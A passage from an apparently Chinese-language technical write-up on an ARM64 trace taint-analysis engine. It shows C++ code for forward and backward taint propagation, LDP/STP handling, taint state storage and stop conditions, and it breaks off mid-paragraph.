style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">LOAD</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ldr, ldp, ldur</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">mem → dst</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">STORE</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">str, stp, stur</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">src → mem</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">COMPARE</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">cmp, cmn, tst</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">src → NZCV</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">COND_SELECT</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">csel, csinc, csneg</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">src → dst</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">BRANCH</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">b, bl, ret, cbz</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">无传播</span></p></td></tr></tbody></table><h3 data-line="1004" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">14.4 污点传播引擎（TaintEngine）</span></h3><p data-line="1006" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">污点引擎支持正向和反向两种追踪模式。</span></p><p data-line="1008" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">正向传播</span></strong><span leaf="">：从初始污点源出发，沿执行顺序追踪数据如何被传播和变换。核心规则：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1010" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">TaintEngine::propagate_forward</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span leaf=""> TraceLine&amp; line)</span></span></span><span leaf="">{</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">switch</span></span><span leaf=""> (line.category) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> InsnCategory::DATA_MOVE:</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> InsnCategory::ARITHMETIC: {</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 源操作数中有污点 → 目标操作数标记污点</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 源操作数全部干净 → 目标操作数清除污点</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">bool</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">src_t</span></span><span leaf=""> = </span><span style="color: rgb(0, 122, 204);"><span leaf="">any_src_tainted</span></span><span leaf="">(line);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i &lt; line.num_dst; i++) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">src_t</span></span><span leaf="">) </span><span style="color: rgb(0, 122, 204);"><span leaf="">taint_reg</span></span><span leaf="">(line.dst_regs[i]);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 122, 204);"><span leaf="">untaint_reg</span></span><span leaf="">(line.dst_regs[i]);</span><br/><span leaf="">            }</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// adds/subs 还会隐式传播到 NZCV</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (line.sets_flags) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">src_t</span></span><span leaf="">) </span><span style="color: rgb(0, 122, 204);"><span leaf="">taint_reg</span></span><span leaf="">(REG_NZCV);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 122, 204);"><span leaf="">untaint_reg</span></span><span leaf="">(REG_NZCV);</span><br/><span leaf="">            }</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;</span><br/><span leaf="">        }</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> InsnCategory::LOAD: {</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 内存地址被污染 → 加载到的寄存器标记污点</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">bool</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">mem_t</span></span><span leaf=""> = line.has_mem_read &amp;&amp;</span><br/><span leaf="">                         tainted_mem_.</span><span style="color: rgb(0, 122, 204);"><span leaf="">count</span></span><span leaf="">(line.mem_read_addr);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i &lt; line.num_dst; i++) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">mem_t</span></span><span leaf="">) </span><span style="color: rgb(0, 122, 204);"><span leaf="">taint_reg</span></span><span leaf="">(line.dst_regs[i]);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 122, 204);"><span leaf="">untaint_reg</span></span><span leaf="">(line.dst_regs[i]);</span><br/><span leaf="">            }</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;</span><br/><span leaf="">        }</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> InsnCategory::STORE: {</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 数据寄存器被污染 → 写入的内存地址标记污点</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">bool</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">src_t</span></span><span leaf=""> = </span><span style="color: rgb(0, 122, 204);"><span leaf="">is_reg_tainted</span></span><span leaf="">(line.src_regs[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">]);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">src_t</span></span><span leaf="">) tainted_mem_.</span><span style="color: rgb(0, 122, 204);"><span leaf="">insert</span></span><span leaf="">(line.mem_write_addr);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span leaf=""> tainted_mem_.</span><span style="color: rgb(0, 122, 204);"><span leaf="">erase</span></span><span leaf="">(line.mem_write_addr);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;</span><br/><span leaf="">        }</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> InsnCategory::IMM_LOAD:</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 立即数加载清除目标的污点</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i &lt; line.num_dst; i++)</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">untaint_reg</span></span><span leaf="">(line.dst_regs[i]);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ...</span></span><br/><span leaf="">    }</span><br/><span leaf="">}</span></code></pre><p data-line="1056" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">反向传播</span></strong><span leaf="">：从结果出发，逆执行顺序追溯数据的来源。规则与正向互为镜像：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1058" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: inherit;"><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">TaintEngine::propagate_backward</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span leaf=""> TraceLine&amp; line)</span></span></span><span leaf="">{</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">switch</span></span><span leaf=""> (line.category) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> InsnCategory::ARITHMETIC: {</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 目标寄存器被污染 → 源操作数标记污点</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">any_dst_tainted</span></span><span leaf="">(line)) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i &lt; line.num_dst; i++)</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">untaint_reg</span></span><span leaf="">(line.dst_regs[i]);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i &lt; line.num_src; i++)</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">taint_reg</span></span><span leaf="">(line.src_regs[i]);</span><br/><span leaf="">            }</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;</span><br/><span leaf="">        }</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> InsnCategory::STORE: {</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 写入的内存地址被污染 → 数据寄存器标记污点</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (tainted_mem_.</span><span style="color: rgb(0, 122, 204);"><span leaf="">count</span></span><span leaf="">(line.mem_write_addr)) {</span><br/><span leaf="">                tainted_mem_.</span><span style="color: rgb(0, 122, 204);"><span leaf="">erase</span></span><span leaf="">(line.mem_write_addr);</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">taint_reg</span></span><span leaf="">(line.src_regs[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">]);</span><br/><span leaf="">            }</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;</span><br/><span leaf="">        }</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ...</span></span><br/><span leaf="">    }</span><br/><span leaf="">}</span></code></pre><p data-line="1084" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">LDP/STP双操作</span></strong><span leaf="">：污点引擎特别处理了ARM64的成对加载/存储指令。LDP加载两个寄存器，STP存储两个寄存器，它们的两个操作数分别独立追踪：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1086" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> InsnCategory::LOAD: {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (line.has_mem_read2 &amp;&amp; line.num_dst &gt;= </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">) {</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// LDP: 两个读地址分别对应两个目标寄存器</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">bool</span></span><span leaf=""> mem_t1 = tainted_mem_.</span><span style="color: rgb(0, 122, 204);"><span leaf="">count</span></span><span leaf="">(line.mem_read_addr);</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">bool</span></span><span leaf=""> mem_t2 = tainted_mem_.</span><span style="color: rgb(0, 122, 204);"><span leaf="">count</span></span><span leaf="">(line.mem_read_addr2);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (mem_t1) </span><span style="color: rgb(0, 122, 204);"><span leaf="">taint_reg</span></span><span leaf="">(line.dst_regs[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">]);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 122, 204);"><span leaf="">untaint_reg</span></span><span leaf="">(line.dst_regs[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">]);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (mem_t2) </span><span style="color: rgb(0, 122, 204);"><span leaf="">taint_reg</span></span><span leaf="">(line.dst_regs[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">]);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 122, 204);"><span leaf="">untaint_reg</span></span><span leaf="">(line.dst_regs[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">]);</span><br/><span leaf="">    }</span><br/><span leaf="">}</span></code></pre><h3 data-line="1100" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">14.5 污点状态管理</span></h3><p data-line="1102" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">寄存器污点使用256位的布尔数组实现，覆盖所有</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">RegId</span></code><span leaf="">枚举值。操作是O(1)的：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1104" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">bool</span></span><span leaf=""> reg_taint_[</span><span style="color: rgb(0, 128, 0);"><span leaf="">256</span></span><span leaf="">] = {};</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> tainted_reg_count_ = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: inherit;"><span style="color: rgb(0, 0, 255);"><span leaf="">inline</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">taint_reg</span></span><span style="color: inherit;"><span leaf="">(RegId id)</span></span></span><span leaf="">{</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf=""> nid = TraceParser::</span><span style="color: rgb(0, 122, 204);"><span leaf="">normalize</span></span><span leaf="">(id);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!reg_taint_[nid]) { reg_taint_[nid] = </span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><span leaf="">; tainted_reg_count_++; }</span><br/><span leaf="">}</span></code></pre><p data-line="1114" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">内存污点使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">unordered_set&lt;uint64_t&gt;</span></code><span leaf="">存储，因为被污染的内存地址通常很稀疏。</span></p><p data-line="1116" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">每次传播事件时，引擎会记录一个包含完整污点快照的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ResultEntry</span></code><span leaf="">，供最终输出使用。</span></p><h3 data-line="1118" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">14.6 终止条件</span></h3><p data-line="1120" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">引擎有三种停止条件：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1122" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">enum class</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">StopReason</span></span><span leaf=""> {</span><br/><span leaf="">    ALL_TAINT_CLEARED,    </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 所有污点被清除</span></span><br/><span leaf="">    END_OF_TRACE,         </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 到达日志末尾（正向）或开头（反向）</span></span><br/><span leaf="">    SCAN_LIMIT_REACHED    </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 连续100万行无传播事件</span></span><br/><span leaf="">};</span></code></pre><p data-line="1130" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, 